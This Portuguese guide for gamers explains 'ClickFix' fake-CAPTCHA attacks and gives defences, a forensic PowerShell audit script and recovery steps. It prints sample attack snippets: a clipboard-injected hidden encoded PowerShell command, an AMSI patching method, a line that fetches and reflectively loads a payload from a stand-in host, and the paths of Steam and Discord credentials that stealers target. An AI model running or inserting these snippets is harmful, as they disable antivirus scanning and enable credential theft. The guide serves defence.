Introdução: A proliferação dos ataques "ClickFix" nas comunidades de jogos
No ecossistema de jogos para PC, plataformas de compartilhamento de mods, fóruns de sombreadores (shaders), portais de download de patches de desempenho e comunidades de suporte a erros de inicialização tornaram-se alvos frequentes de agentes maliciosos. Durante anos, a distribuição de códigos nocivos direcionados a jogadores dependia do download direto de arquivos executáveis (.exe ou .zip) camuflados como otimizadores, hacks ou instaladores. Contudo, navegadores modernos (Chrome, Edge, Firefox) e os sistemas operacionais consolidaram camadas de proteção eficazes: análise de reputação pelo SmartScreen, isolamento em caixas de areia (sandbox) e caixas de diálogo explícitas de confirmação de download.
Para contornar integralmente essas barreiras do navegador, cibercriminosos desenvolveram uma técnica de engenharia social de alta evasão denominada ClickFix (também conhecida como "falso CAPTCHA" ou execução "da área de transferência para o terminal"). Em vez de forçar o download de arquivos suspeitos, o ClickFix engana o jogador por meio de uma falsa interface de verificação humana, induzindo-o a abrir ativamente a caixa Executar do Windows (Win + R) ou o PowerShell e colar manualmente uma linha de comando ofuscada e nociva.
Como o comando é disparado pelo próprio usuário com privilégios locais por meio de ferramentas nativas e legítimas do sistema, o navegador não registra downloads, nenhum arquivo binário aterrissa na pasta de transferências e os antivírus convencionais baseados em varredura estática de disco são ignorados. Este guia detalha a anatomia do ataque ClickFix, a desativação do AMSI em memória e as práticas recomendadas de perícia e contenção para jogadores.
Ciclo de vida do ataque ClickFix: Da isca web à execução em memória
A cadeia de infecção estrutura-se em etapas encadeadas para explorar a impaciência do jogador em aplicar correções ou desbloquear conteúdos:
[1. Acesso a página de downloads corrompida (ex.: "Patch de FPS Black Myth Wukong", "Beta vazado GTA 6", "Mod DLSS 3.5")]
|
v
[2. Exibição de tela de verificação falsa: "Confirme que não é um robô" (Reproduzindo Cloudflare ou reCAPTCHA)]
|
v
[3. Evento no DOM: O JavaScript chama navigator.clipboard.writeText(...) copiando em silêncio o comando nocivo]
|
v
[4. Instruções fraudulentas: "Pressione Win + R no teclado, tecle Ctrl + V e aperte Enter para validar seu acesso"]
|
v
[5. Execução na caixa Executar: explorer.exe dispara powershell.exe / cmd.exe em segundo plano]
|
v
[6. Execução em PowerShell: Patch de memória no AMSI -> Download de infostealers (Lumma, Stealc, Vidar)]
|
v
[7. Exfiltração de credenciais: Captura de cookies Steam, tokens Discord e dados de navegadores para servidor C2]
Fase 1: Iscas temáticas de jogos (Envenenamento SEO)
Criminosos criam dezenas de páginas descartáveis indexadas nos motores de busca para termos de grande procura:
- "Black Myth Wukong dll correcao de travamento"
- "Cyberpunk 2077 Phantom Liberty dlc desbloqueador gratis"
- "Valorant Vanguard bypass anticheat 2026"
- "Roblox executor download atualizado"
- "Resgatar Discord Nitro gratis codigo"
Fase 2: O falso pop-up de CAPTCHA
Ao clicar no botão de download, o site não inicia nenhuma transferência de arquivo. Em vez disso, a página exibe uma camada modal com o visual exato do Cloudflare Turnstile, hCaptcha ou Google reCAPTCHA:
- Texto de apresentação: "Verificação Cloudflare: Confirme que você é um humano".
- Após o clique na caixa de seleção, surge uma animação de falha ou carregamento, seguida de orientações passo a passo:
- Pressione as teclas Windows + R no seu teclado.
- Pressione Ctrl + V.
- Pressione Enter.
- Variações alternativas alegam falta de arquivos do sistema: "DirectX 12 ausente no sistema. Cole o script abaixo no terminal para liberar o download automático."
Fase 3: Gravação silenciosa na área de transferência
Enquanto a vítima lê as instruções, o código JavaScript na página é acionado de imediato:
// O clique do usuário autoriza a gravação silenciosa na área de transferência
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);
Nos navegadores baseados em Chromium, desde que navigator.clipboard.writeText() seja executado em resposta a um evento de interação direta (o clique no falso botão de verificação), a API grava os dados sem exigir confirmação adicional do sistema operacional. O usuário acredita ter marcado um simples campo, sem saber que sua área de transferência contém um comando de terminal perigoso.
Anatomia técnica: Como a carga maliciosa opera no PowerShell
Quando o usuário pressiona Win + R, cola o conteúdo e aperta Enter, o processo invocado pelo explorer.exe cumpre quatro etapas sequenciais:
1. Ocultação de janela e neutralização de restrições
A instrução de entrada carrega parâmetros concebidos para ocultar a atividade:
# Estrutura do comando inicial de ativação do ClickFix
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."
-ExecutionPolicy Bypass: Desativa alertas padrão do Windows sobre execução de scripts não assinados (vale destacar: a política de execução é apenas um guia operacional e só se aplica a arquivos.ps1, não restringindo comandos passados diretamente via-Command).-WindowStyle Hidden: Minimiza e fecha visualmente a janela do prompt em milissegundos, gerando a falsa impressão de que a verificação ocorreu nos bastidores sem alterações.
2. Patching em memória do AMSI (Antimalware Scan Interface)
Antes de baixar binários externos, o script precisa desarmar o AMSI do Windows Defender, responsável por analisar scripts diretamente na memória RAM antes da execução.
Os atacantes aplicam uma alteração cirúrgica na biblioteca amsi.dll:
- Localizam o endereço em memória da função
AmsiScanBuffernaamsi.dll. - Utilizam a API nativa do Windows (
VirtualProtect) para converter as permissões de memória da página para leitura, gravação e execução (PAGE_EXECUTE_READWRITE). - Reescrevem os primeiros bytes em linguagem de máquina para forçar um encerramento imediato da rotina de escaneamento:
mov eax, 0x80070057 ; Código de erro E_INVALIDARG ret - Com essa modificação, todas as chamadas de validação enviadas ao AMSI pelo PowerShell retornam erro e são ignoradas (
AMSI_RESULT_CLEAN), cegando a proteção em tempo real do antivírus.
3. Carga dinâmica sem gravação em disco (Fileless)
Com o AMSI neutralizado, o PowerShell baixa a carga maliciosa secundária diretamente para a memória:
# Carregamento e execução de assembly em memória
$data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);
Ao usar o recurso de reflexão do .NET [System.Reflection.Assembly]::Load ou a injeção via esvaziamento de processo (Process Hollowing) em executáveis legítimos (MSBuild.exe, svchost.exe), o código é processado na memória RAM sem salvar arquivos executáveis no disco.
4. Coleta focada em contas de jogos e navegadores
A etapa final (geralmente composta por ladrões de credenciais como Lumma, Stealc ou Vidar) realiza uma varredura minuciosa:
- Cookies de sessão web: Coleta cookies
steamLoginSecureesessionidde navegadores baseados em Chromium e Firefox. - Tokens do Discord: Varre o caminho
%APPDATA%\discord\Local Storage\leveldbem busca de tokens de autorização. - Clientes de jogos: Captura arquivos de sessão de inicializadores como Epic Games Launcher, Battle.net, Riot Client e EA Desktop.
- Carteiras digitais e inventários: Procura carteiras Web3 em extensões de navegadores e checa inventários negociáveis na Steam.
- Exfiltração de dados: Compacta as informações em um arquivo criptografado e as transmite via HTTPS para um bot do Telegram ou servidor de comando e controle (C2).
Matriz de ameaças ClickFix: Iscas e evidências forenses
| Tipo de isca | Argumento enganoso | Vetor de execução | Artefato técnico principal | Rastro forense no sistema |
|---|---|---|---|---|
| Falso Turnstile CAPTCHA | "Conclua a verificação para liberar o download do mod" | Win + R -> powershell.exe -w hidden -enc | Patch em AmsiScanBuffer + IEX em memória | Evento 4104 (ScriptBlock Logging); sequência Base64 em ConsoleHost_history.txt |
| Reparo de DirectX / VC++ | "Erro d3dx9_43.dll ausente. Cole no terminal para corrigir" | Terminal do PowerShell como Administrador | mshta.exe http://.../fix.hta ou script | Registro do Sysmon apontando mshta.exe; conexões de rede para IPs suspeitos |
| Acesso a beta no Discord | "Informe sua chave de teste fechado no terminal" | cmd.exe /c start /b powershell ... | Script com envio para Webhook do Discord | Conexões HTTPS POST com arquivos anexados para discord.com/api/webhooks/... |
| Descompactador de shaders | "Cole o comando para extrair os caches compilados Vulkan" | Janela padrão do PowerShell | Injeção de biblioteca DLL temporária em %TEMP% | Novas entradas de inicialização em HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
Engenharia defensiva: Blindando o Windows contra o ClickFix
Usuários e administradores podem adotar políticas sistêmicas para conter a execução desse vetor:
1. Habilitar o log detalhado de blocos de script (Evento 4104)
Por padrão, o Windows não armazena a íntegra de comandos interativos no PowerShell. Ativar essa auditoria permite inspecionar o código final executado na memória, mesmo após a desofuscação:
- Execute
gpedit.mscpara abrir o Editor de Política de Grupo Local. - Navegue até:
Configuração do Computador->Modelos Administrativos->Componentes do Windows->Windows PowerShell. - Habilite a diretiva Ativar Registro em Log de Bloco de Script do PowerShell.
2. Ativar o Modo de Linguagem Restrita (CLM)
O modo de linguagem restrita (Constrained Language Mode) bloqueia chamadas de reflexão do .NET ([System.Reflection.Assembly]) e chamadas diretas a APIs de baixo nível, inviabilizando quase a totalidade dos carregadores de malware em memória:
- Adicione a variável de ambiente do sistema
__PSLockdownPolicycom o valor4.
3. Restringir executáveis obsoletos de script via WDAC
Para impedir que atacantes invoquem mshta.exe (executável de aplicativos HTML) ou wscript.exe como alternativas ao PowerShell, utilize o Controle de Aplicativos do Windows Defender (WDAC) para bloquear ou auditar esses utilitários.
Script de auditoria forense em PowerShell: Diagnóstico de infecção
Se você desconfia ter colado um comando fraudulento em seu computador, desconecte a máquina da rede e execute este diagnóstico no PowerShell:
# Script de auditoria e resposta a incidentes ClickFix
Write-Host "=== Auditoria Forense de Infecção ClickFix ===" -ForegroundColor Cyan
# 1. Avaliação do histórico do console PowerShell
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Host "`n[1] Verificando histórico de comandos recentes no PowerShell..." -ForegroundColor Yellow
$suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
$historyLines = Get-Content -Path $historyPath -Tail 50
foreach ($line in $historyLines) {
foreach ($pattern in $suspiciousPatterns) {
if ($line -match $pattern) {
Write-Host " [ALERTA: Comando suspeito localizado]: $line" -ForegroundColor Red
break
}
}
}
}
# 2. Varredura do histórico da caixa Executar (RunMRU)
Write-Host "`n[2] Inspecionando histórico da caixa Executar no registro..." -ForegroundColor Yellow
$runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
if (Test-Path $runMruPath) {
$mruEntries = Get-ItemProperty -Path $runMruPath
$mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
Write-Host " [PERIGO: Comando malicioso no Executar]: $($_.Name) = $($_.Value)" -ForegroundColor Red
} else {
Write-Host " [Item regular]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
}
}
}
# 3. Auditoria de persistência no registro do usuário
Write-Host "`n[3] Checando itens de inicialização automática..." -ForegroundColor Yellow
$runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan
Protocolo de contenção e recuperação para jogadores
Caso a execução de um script malicioso seja confirmada pelo diagnóstico:
- Desconecte o computador da rede imediatamente: Remova o cabo Ethernet ou desligue a rede Wi-Fi para interromper o envio de dados aos servidores dos invasores.
- Revogue sessões ativas a partir de outro dispositivo não infectado:
- Acesse sua conta Steam pelo celular ou computador seguro: vá em Configurações -> Segurança -> Desautorizar todos os outros dispositivos, cancelando a validade dos cookies
steamLoginSecureroubados. - Redefina a senha do Discord: alterar a senha invalida instantaneamente todos os tokens de autorização ativos da conta.
- Encerre todas as sessões ativas em contas de e-mail, Epic Games e Microsoft, atualizando as credenciais de acesso.
- Acesse sua conta Steam pelo celular ou computador seguro: vá em Configurações -> Segurança -> Desautorizar todos os outros dispositivos, cancelando a validade dos cookies
- Revogue a chave Steam Web API: Em um aparelho seguro, abra
https://steamcommunity.com/dev/apikeye exclua qualquer domínio ou chave configurada sem sua autorização. - Execute uma varredura offline: Utilize o Microsoft Defender Offline ou uma mídia USB de recuperação inicializável para eliminar vestígios de arquivos deixados em áreas temporárias do sistema.
- Segurança embasada em conhecimento técnico de sistemas: Plataformas oficiais de verificação como Cloudflare ou Google funcionam exclusivamente dentro da página web; nenhum serviço legítimo solicitará que você abra o
Win + Rou cole comandos em uma janela de terminal. Recorrer a repositórios de conhecimento técnico especializado como o 365Finds permite compreender a dinâmica do sistema operacional, antecipar investidas de engenharia social e proteger seu inventário e suas contas com solidez.